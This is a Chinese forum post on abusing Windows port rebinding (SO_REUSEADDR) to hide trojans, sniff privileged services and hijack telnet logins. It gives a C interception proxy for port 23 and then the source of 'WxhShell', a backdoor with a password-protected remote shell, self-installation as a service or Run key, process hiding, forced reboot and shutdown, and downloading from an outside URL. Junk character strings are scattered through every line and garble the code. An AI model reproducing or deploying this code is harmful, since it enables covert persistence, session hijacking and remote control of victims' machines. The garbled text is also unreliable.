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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ko!aX;K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (lit^v,9  
7A<}JaE!,  
  saddr.sin_family = AF_INET; yFFNzw{  
!g>mjD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J[K>)@I/  
m]=G73jzO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /~<Przw  
J(XK%e[8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]Qx-f* D6  
?f:\&+.&  
  这意味着什么?意味着可以进行如下的攻击: ;Oqbfl#%  
c1f`?i}.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a5@lWpQsV  
a[lx&CHgI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L#IY6t  
)GC[xo4bg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A#79$[>w  
DshRH>7s8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bV@5B#] 2R  
(%M:=zm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6XeqK*r*  
D%'rq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0R,Y[).U  
R*O6Z"h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mP)im]H  
.7#04_aP  
  #include < *{(>  
  #include rf&nTDaWI  
  #include a>nV!b\n5  
  #include    ]b&qC (  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e=Kr>~q=  
  int main() cXOb=  
  { )jRaQ~Sm  
  WORD wVersionRequested; q]*:RI?wGT  
  DWORD ret; f6HDfJmE  
  WSADATA wsaData; sE(mK<{pk  
  BOOL val; pC)S9Kl  
  SOCKADDR_IN saddr; YH!` uU(Lh  
  SOCKADDR_IN scaddr; |:`gjl_Nf  
  int err; RAEiIf!3  
  SOCKET s; _P]k6z+  
  SOCKET sc; > Gxu8,_;  
  int caddsize; @/?$ZX/e[  
  HANDLE mt; pM@0>DVi  
  DWORD tid;   :3*0o3C/  
  wVersionRequested = MAKEWORD( 2, 2 ); Bk1gE((  
  err = WSAStartup( wVersionRequested, &wsaData ); %5bN@XD  
  if ( err != 0 ) { HmEU;UbO-  
  printf("error!WSAStartup failed!\n"); |<7nf75c}  
  return -1; zhde1JE  
  } r\{; ~V  
  saddr.sin_family = AF_INET; -Ar 3>d  
   K<Y-/t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7R om#Kl:  
 _$4vk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /E6 Tt  
  saddr.sin_port = htons(23); "{(4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JE+{Vx}  
  { RD p(Ci  
  printf("error!socket failed!\n"); hLLg  
  return -1; JSiLG0  
  } QGd"Z lQ  
  val = TRUE; '^M3g-C[Jg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )8Sm}aC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5fa_L'L#  
  { {R. @EFkZ  
  printf("error!setsockopt failed!\n"); *,__\/U98  
  return -1; ~ +z'pK~c  
  } I#hzU8Cc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;tLu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {mV,bg,}~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c7N`W}BZ  
T\Q)"GB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r`/tb^  
  { xo_Es?  
  ret=GetLastError(); E%+1^ L  
  printf("error!bind failed!\n"); l4Y}<j\;  
  return -1; :j,e0#+sA  
  } t%<d}QuHW  
  listen(s,2); zc-.W2"Hu  
  while(1) J;BG/VI1  
  { e c`3Qw  
  caddsize = sizeof(scaddr); G@QZmuj&KH  
  //接受连接请求 |+i?FYA\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dmD ':1  
  if(sc!=INVALID_SOCKET) C_Z[ul  
  { T|[ o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #| Et9  
  if(mt==NULL) w_i$/`i+  
  { 6*2z^P9FRj  
  printf("Thread Creat Failed!\n"); I6FglVQ6  
  break; 8aD4 wc  
  } {*%'vVv+  
  } 5 lC"10  
  CloseHandle(mt); GVp2| \-L  
  } t=ry\h{Pc  
  closesocket(s); < F Cr L  
  WSACleanup(); O<h`[1eUjS  
  return 0; ;dYpdy  
  }    p68) 0  
  DWORD WINAPI ClientThread(LPVOID lpParam) R3$e q )  
  { {N$G|bm]u<  
  SOCKET ss = (SOCKET)lpParam; rm4j8~Ef  
  SOCKET sc; Y&5h_3K;<  
  unsigned char buf[4096]; 8a1G0HRQ  
  SOCKADDR_IN saddr; a8%/Xwr~  
  long num; 5X-cDY*|  
  DWORD val; '%R Yo#  
  DWORD ret; _dq.hW7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !W8'apG&[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rf8`|9h"7  
  saddr.sin_family = AF_INET; "sRR:wzQu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .yF7{/  
  saddr.sin_port = htons(23); #.%;U' #O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i5*sG^<$H  
  { @hWt.qO3s  
  printf("error!socket failed!\n"); #f@sq5pTO  
  return -1; mOyBSOad4  
  } R28h%KN  
  val = 100; BfF$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /cDla5eej  
  { ` oYrW0Vm  
  ret = GetLastError(); ' 7>V4\"  
  return -1; PhM3?$  
  } nK6{_Y>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C (_xqn  
  { avk0pY(n  
  ret = GetLastError(); W!z=AL{  
  return -1; f?_H02j`/E  
  } nlK"2/W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -`B|$ W  
  { O- &>Dc  
  printf("error!socket connect failed!\n"); #2&_WM!   
  closesocket(sc); 8fJ- XFK$:  
  closesocket(ss); 0*8[m+j1  
  return -1; y:Qo:Z~  
  } 5o2;26c  
  while(1) f|_iHY  
  { Ssr P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6546"sU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;e_n7>'#%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^'C1VQ%  
  num = recv(ss,buf,4096,0); R b6` k^  
  if(num>0) 0AFjO)  
  send(sc,buf,num,0); >e"CpbZ'  
  else if(num==0) Wgdij11e  
  break; (J~n|hA2/D  
  num = recv(sc,buf,4096,0); 6`{Y#2T  
  if(num>0) !["WnF{5eC  
  send(ss,buf,num,0); H{`S/>)[   
  else if(num==0) m> ?OjA!  
  break; 2bfKD'!aH  
  } 4?,N;Q  
  closesocket(ss); +=^10D  
  closesocket(sc); a4L8MgF&$-  
  return 0 ; 3ePG=^K^  
  } L*1C2EL/q  
`(EY/EsY  
=\?KC)F*e  
========================================================== BD9W-mF  
{(A Ys*5  
下边附上一个代码,,WXhSHELL &aaXw?/zr  
](@Tbm8  
========================================================== S=ebht=  
q3e %L  
#include "stdafx.h" !,PG!Gnl  
s 7iguFQ  
#include <stdio.h> 8AVM(d@  
#include <string.h> *)ZDN~z7o  
#include <windows.h> -Yy,L%E]F:  
#include <winsock2.h> ;+`t[ go  
#include <winsvc.h> z'JtH^^Z  
#include <urlmon.h> kA{[k  
Uo<d]4p $  
#pragma comment (lib, "Ws2_32.lib") +glT5sOk  
#pragma comment (lib, "urlmon.lib") [&y{z-D>  
o4,W!^ n2  
#define MAX_USER   100 // 最大客户端连接数 kf>oZ*/  
#define BUF_SOCK   200 // sock buffer a8FC#kfq  
#define KEY_BUFF   255 // 输入 buffer xf?*fm?m  
,[%KSyH  
#define REBOOT     0   // 重启 N)03{$WM  
#define SHUTDOWN   1   // 关机 $uF} GP_)  
>Q#_<IcI  
#define DEF_PORT   5000 // 监听端口 34Q l7LQp[  
AF>J8V  
#define REG_LEN     16   // 注册表键长度 fn(KmuNA  
#define SVC_LEN     80   // NT服务名长度 |[;9$Vn  
+HQX]t:Y  
// 从dll定义API lO9ML-8C1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5\V>Sj(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f+j\,LJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &aqF ||v%)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D|@*HX@_Xp  
G< l+94(  
// wxhshell配置信息 Jc"xH~,  
struct WSCFG { N2vSJ\u  
  int ws_port;         // 监听端口 kqYWa`eE  
  char ws_passstr[REG_LEN]; // 口令 \L-o>O  
  int ws_autoins;       // 安装标记, 1=yes 0=no eYMp@Cx  
  char ws_regname[REG_LEN]; // 注册表键名 [nB[]j<R*  
  char ws_svcname[REG_LEN]; // 服务名 ^+^#KC8]W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 anjU3j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !jGe_xB}~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,&rlt+wE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;"$Wfy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0qqk:h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5fMVjd  
4R0'$Ld4  
}; F$y3oX  
$DeHo"mg7m  
// default Wxhshell configuration 8e:J{EG~  
struct WSCFG wscfg={DEF_PORT, 3,=97Si=  
    "xuhuanlingzhe", F~2bCy[Z  
    1, ) gbns'Z<  
    "Wxhshell", w5w,jD[  
    "Wxhshell", OOn{Wp  
            "WxhShell Service", ov*?[Y7|~  
    "Wrsky Windows CmdShell Service", U}<5%"!;  
    "Please Input Your Password: ", E*'sk  
  1, kAA1+rG  
  "http://www.wrsky.com/wxhshell.exe", :*Lr(-N-  
  "Wxhshell.exe" 7)tkqfb]  
    }; ~v"4;A 6  
@&p:J0hbp  
// 消息定义模块 uT:'Kkb!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >M=_:52.+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PTrKnuM\J_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <fg~+{PA&  
char *msg_ws_ext="\n\rExit."; L& ucTc =  
char *msg_ws_end="\n\rQuit."; 7ESSx"^B  
char *msg_ws_boot="\n\rReboot..."; }W^%5o87{  
char *msg_ws_poff="\n\rShutdown..."; >zFk}/  
char *msg_ws_down="\n\rSave to "; GdHFgxI  
t% Sgw%f  
char *msg_ws_err="\n\rErr!"; ^S:S[0\,  
char *msg_ws_ok="\n\rOK!"; Cp4 U`]  
i x2V?\  
char ExeFile[MAX_PATH]; `Y>'*4a\  
int nUser = 0; *:S_v.Y3"  
HANDLE handles[MAX_USER]; vqO d`_)  
int OsIsNt; DSjEoWj   
X5@+M!`  
SERVICE_STATUS       serviceStatus;  |Hx#Uk#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SO @d\H  
n@|5PI"bx  
// 函数声明 5My4a9  
int Install(void); Od_xH  
int Uninstall(void); ""$vaqt  
int DownloadFile(char *sURL, SOCKET wsh); g>` k9`  
int Boot(int flag); LtIp,2GP&_  
void HideProc(void); )` ~"o*M  
int GetOsVer(void); Y;2WY 0eq  
int Wxhshell(SOCKET wsl); $eHYy,,  
void TalkWithClient(void *cs); !\|_,pSB  
int CmdShell(SOCKET sock); LCBP9Rftvd  
int StartFromService(void); U9"g;t+/   
int StartWxhshell(LPSTR lpCmdLine); FM$$0}X  
#uTNf78X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _L?MYkD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (D2G.R\pr  
S$#"bK/p^  
// 数据结构和表定义 t5O '7x  
SERVICE_TABLE_ENTRY DispatchTable[] = 8/W(jVO(-  
{ pmda9V4  
{wscfg.ws_svcname, NTServiceMain}, DO*rVs3'p[  
{NULL, NULL} M3q%(!2  
}; kU :ge  
tofX.oi+C$  
// 自我安装 8XfhXm>~  
int Install(void) 3yGo{uW  
{ +;r1AR1)x  
  char svExeFile[MAX_PATH]; U]/iPG &_  
  HKEY key; "x1?T+j4  
  strcpy(svExeFile,ExeFile); Me;XG?`  
/q1k)4?E  
// 如果是win9x系统,修改注册表设为自启动 YV%y KD  
if(!OsIsNt) { ~mBY_[_s=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }2xgm9j<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e={ ?d6  
  RegCloseKey(key); BD.&K_AW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { arK(dg~S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Z0ez?p+5  
  RegCloseKey(key);  4,g_$)  
  return 0; \ -n&z;`  
    } z }3` 9  
  } t@X{qm:%Z  
} 8'WoG]E_  
else { r+=%Ag  
9'5<b  
// 如果是NT以上系统,安装为系统服务 ?)NgODU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [0bp1S~  
if (schSCManager!=0) ^8.s"4{  
{ h`i*~${yg  
  SC_HANDLE schService = CreateService  *.us IH2  
  ( u@]rR&h`  
  schSCManager, b=@H5XTZyK  
  wscfg.ws_svcname, w{8O$4 w  
  wscfg.ws_svcdisp, g)dKXsy(F  
  SERVICE_ALL_ACCESS, rX(Ol,&oP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E!A+J63zsw  
  SERVICE_AUTO_START, c1tM(]&  
  SERVICE_ERROR_NORMAL, >o:y.2yCe  
  svExeFile, KWS\iu  
  NULL, (usFT_  
  NULL, 8u%rh[g'  
  NULL, QLxe1[qI  
  NULL, D :)HK D.  
  NULL FPb4VJ|xm  
  ); = }ELu@\V[  
  if (schService!=0) s4uZ>  
  { <) cJz  
  CloseServiceHandle(schService); &?@gCVNO,  
  CloseServiceHandle(schSCManager); [L>mrHqG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LbkQuq/d  
  strcat(svExeFile,wscfg.ws_svcname); (N6=+dNY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C>A} e6o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qrHCr:~  
  RegCloseKey(key); A&N$=9.N1  
  return 0; Prc (  
    } 5Vc~yMz  
  } 0VnRtLnqI  
  CloseServiceHandle(schSCManager); Skl:~'W.&|  
} b{BiC&3  
} V= g u'~  
;.66phe  
return 1; dvE~EZcS  
} 42f\]R,  
G>edJPfQ  
// 自我卸载 QsX`IYk  
int Uninstall(void) M1z ?E@kz  
{ :FUxe kz  
  HKEY key; Qo/pz2N  
.PD_Vv>C/>  
if(!OsIsNt) { qXprD.; }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qP[_!C.  
  RegDeleteValue(key,wscfg.ws_regname); I)\{?LdHR  
  RegCloseKey(key); nP&6i5s%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FM=XoMP q  
  RegDeleteValue(key,wscfg.ws_regname); e%km}mA  
  RegCloseKey(key); 5KNa-\  
  return 0; FKtG  
  } ], IQ~  
} :*M2@  
} sa}.o ZpQ  
else { SJ}PV:x  
C).+h7{nd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mGpBj9jr1  
if (schSCManager!=0) s"`Oj5  
{ (zPsA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _b`/QSL  
  if (schService!=0) "r=p/"4D  
  { J8B0H1  
  if(DeleteService(schService)!=0) { DaBy<pGb?  
  CloseServiceHandle(schService); ol1J1Zg  
  CloseServiceHandle(schSCManager); QYj*|p^x  
  return 0; Y .E.(\  
  } ]DUmp6  
  CloseServiceHandle(schService); y1h3Ch>Y  
  } D W>O]\I  
  CloseServiceHandle(schSCManager); hWiHKR]  
} e<{waJ1  
} : sG/  
:*vSC:q  
return 1; _}gfec4o  
} e#vGrLs.  
}Ui)xi:8  
// 从指定url下载文件 \maj5VlJ  
int DownloadFile(char *sURL, SOCKET wsh) x6Tpt^N}  
{ 2uT@jfj:r  
  HRESULT hr; Vp1Q^`a{G  
char seps[]= "/"; 9.:&u/e  
char *token; B~E>=85z  
char *file; NxzAlu  
char myURL[MAX_PATH]; 24po}nrO  
char myFILE[MAX_PATH]; sDvy(5  
cJ>^@pd{  
strcpy(myURL,sURL); sC ?e%B  
  token=strtok(myURL,seps); sY[!=`@  
  while(token!=NULL) Ax 4R$P.]u  
  { T-\q3X|y/  
    file=token; v+i==vxg  
  token=strtok(NULL,seps); ?k=)T]-}  
  } YkQ=rurE  
9 ge'Mo  
GetCurrentDirectory(MAX_PATH,myFILE); lmIphOUoIw  
strcat(myFILE, "\\"); u`XZtF<vf  
strcat(myFILE, file); gk}.L E  
  send(wsh,myFILE,strlen(myFILE),0); _dc,}C  
send(wsh,"...",3,0); 4^*Z[6nt|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l$!Z};mw0E  
  if(hr==S_OK) S^N{=*  
return 0; /GO((v+J  
else qP+%ui5xR  
return 1; {qm5H7sL  
-%Jm-^F I  
} 5! ]T%.rM  
P  V9q=  
// 系统电源模块 8}X>u2t  
int Boot(int flag) c],Zw  
{ -aDBdZ;y  
  HANDLE hToken; a ~k*Gd(  
  TOKEN_PRIVILEGES tkp; l xP!WP  
cef:>>6_  
  if(OsIsNt) { <899r \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X;{U?`b-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;T<'GP'/r  
    tkp.PrivilegeCount = 1; mp0s>R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =T$2Qo8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BOl*. t  
if(flag==REBOOT) { QvzE:]pyi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q@TeU#2Y  
  return 0; &!*p>Ns)e  
} Va/}|& 9  
else { C@MJn)$4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D7v.Xq|  
  return 0; }cIj1:  
} t?p>L*  
  } v){X&HbP  
  else { r2&/Ii+  
if(flag==REBOOT) { RRtOBrIedI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) km}E&ao  
  return 0; CbMClnF  
} $cGV)[KWp@  
else { O_D;_v6Ii+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /b{Ufo3v  
  return 0; i;67< f}-  
} =I$:-[(  
} j2|UuWU  
Iy2AJ|d.  
return 1; I^QB`%v5  
} %"3tGi:/  
AVp"<Uv  
// win9x进程隐藏模块 ?o(Y\YJf  
void HideProc(void) I -XkxDw  
{ ,`(Qs7)Xx  
yiczRex%rq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zk # C!]=  
  if ( hKernel != NULL ) } ejc  
  { af/;Dr@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >;X^+JH!)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7v(<<>  
    FreeLibrary(hKernel); (Jy > ,~O  
  } *%dWNvN4X  
}& 01=nY  
return; EkP(] F  
} B 3eNvUFZg  
L_AQS9a^D  
// 获取操作系统版本 y|%lw%cSe  
int GetOsVer(void) 5dLb`G f  
{ &wB?ks  
  OSVERSIONINFO winfo; t<qXXQ&5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T) cbpkH4  
  GetVersionEx(&winfo); }}v28"\TA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ld'Aaxl&  
  return 1; pB79#4  
  else v?4MndR  
  return 0; 3q1u9`4;  
} Il#9t?/  
Oc^bbC  
// 客户端句柄模块 5?MKx!%  
int Wxhshell(SOCKET wsl) ,:3Di (  
{ G6j9,#2@  
  SOCKET wsh; Y.8mgy>   
  struct sockaddr_in client; YRP$tz+ _  
  DWORD myID; a~;`&Uj  
f@J-6uQ7w  
  while(nUser<MAX_USER) 96CC5  
{ L3X[; |v}  
  int nSize=sizeof(client); RkBbu4uQ-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n5 jzVv  
  if(wsh==INVALID_SOCKET) return 1; Gw Z(3  
\YsYOFc|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t>%J3S>'ZV  
if(handles[nUser]==0) Yc1ve  
  closesocket(wsh); )Waz bT@  
else ZIM 5$JdCv  
  nUser++; {AqPQeNgz  
  } T=->~@5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c*x5t"{  
W%cJ#R[o  
  return 0; s:#\U!>0`  
} [0mg\n?  
E 14Dq#L  
// 关闭 socket / L/hR4  
void CloseIt(SOCKET wsh) Wi(Ac8uh  
{ [D%5Fh\0  
closesocket(wsh); V3$Yr"rZ;  
nUser--; @s;qmBX4  
ExitThread(0); "i;c)ZP  
} ];1Mg  
\`M8Mu9~w  
// 客户端请求句柄 BSB;0OM  
void TalkWithClient(void *cs) W{(q7>g  
{ Grw|8xN0t  
6S# e?>"+  
  SOCKET wsh=(SOCKET)cs; `aW>h8$I)  
  char pwd[SVC_LEN]; ^5 sO;vf  
  char cmd[KEY_BUFF]; v5;V$EGD&  
char chr[1]; f?A1=lm~  
int i,j; |[}!E/7>b  
yk| < P\  
  while (nUser < MAX_USER) { &z(E-w/S  
L^0s  
if(wscfg.ws_passstr) { X) peY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '{?7\+o.x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 69$[yt>KYz  
  //ZeroMemory(pwd,KEY_BUFF); hln.EAW'Yc  
      i=0; i#Y[I"'  
  while(i<SVC_LEN) { mew,S)dq!  
ub/9T-#l  
  // 设置超时 = j,Hxq  
  fd_set FdRead; Y[ciT)  
  struct timeval TimeOut; TxD,A0  
  FD_ZERO(&FdRead); KK%R3{  
  FD_SET(wsh,&FdRead); O+^l>+ZGj?  
  TimeOut.tv_sec=8;  ]%L?b-e  
  TimeOut.tv_usec=0; `i,l)X]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Jy'3o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZYy?JDAO  
|aovZ/b4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Ej#qYi  
  pwd=chr[0]; yIL6Sb  
  if(chr[0]==0xd || chr[0]==0xa) { z_^Vgb]  
  pwd=0; l$~3_3+  
  break; eiV[y^?  
  } eI7FbOze  
  i++; i0y^b5@MOb  
    } V9 dRn2- [  
,MxTT!9Su  
  // 如果是非法用户,关闭 socket NM;0@ o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;ctJ9"_g  
} 1webk;IM  
<n)J~B^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b!7*bFTt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 69{BJ] q  
x"9e eB,  
while(1) { oK5"RW  
([r4N#lx  
  ZeroMemory(cmd,KEY_BUFF); Mbua!m(0  
/Jjub3>Q  
      // 自动支持客户端 telnet标准   ;|.^_Xs  
  j=0; J .r^"K\  
  while(j<KEY_BUFF) { -r6cK,WVU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vjcG F'-  
  cmd[j]=chr[0]; Pde|$!Jo  
  if(chr[0]==0xa || chr[0]==0xd) { 2L<iIBSJwm  
  cmd[j]=0; Be=J*D!E=>  
  break; H <|ilL'fX  
  } kf8-#Q/B  
  j++; \~]HfDu  
    } Z-fQ{&a{  
c&{1Z&Y  
  // 下载文件 wE.CZ% f  
  if(strstr(cmd,"http://")) { _R,VNk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pd<s#  
  if(DownloadFile(cmd,wsh)) }Ss]/ _t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wi}6rF%[i  
  else zq=X;}qYj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a5/6DK>  
  } b1(7<o  
  else { 3 %ppvvQ  
F3XB};  
    switch(cmd[0]) { LyaFWx   
  aL9 yNj}2  
  // 帮助 QUPZe~G>L  
  case '?': { Nq`@ >Ml  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eD4qh4|u.  
    break; (h} 5*u%h  
  } Q M#1XbT  
  // 安装 L9|55z  
  case 'i': { Ho}"8YEXNV  
    if(Install()) Rr'#OxF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b) k\?'j  
    else 0h[p w   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z`UwXp_s  
    break; dr|>P*  
    } B}PT-S1l  
  // 卸载 "$->nC.  
  case 'r': { 3D"2yTM(  
    if(Uninstall()) RObo4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rqi= AQ  
    else 1G0U}-6RH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MX@t[{Gg9  
    break; :!SVpCt3  
    } Wchu-]  
  // 显示 wxhshell 所在路径 toq/G,N Q  
  case 'p': { CFm( yFk  
    char svExeFile[MAX_PATH]; q&/<~RC*  
    strcpy(svExeFile,"\n\r"); >UUcKq1M:  
      strcat(svExeFile,ExeFile); pO^PkX  
        send(wsh,svExeFile,strlen(svExeFile),0); Tz\ PQ)!  
    break; +VJS/  
    } ! :[`>=!  
  // 重启 :bh#,]'  
  case 'b': { a.n;ika]-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FeW}tKH  
    if(Boot(REBOOT)) @%(Vi!Cv"R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#5U[@TK  
    else { O_9M /[<  
    closesocket(wsh); 9g7d:zG  
    ExitThread(0); f<14-R=  
    } g*]hmkYe9  
    break; V`c"q.8  
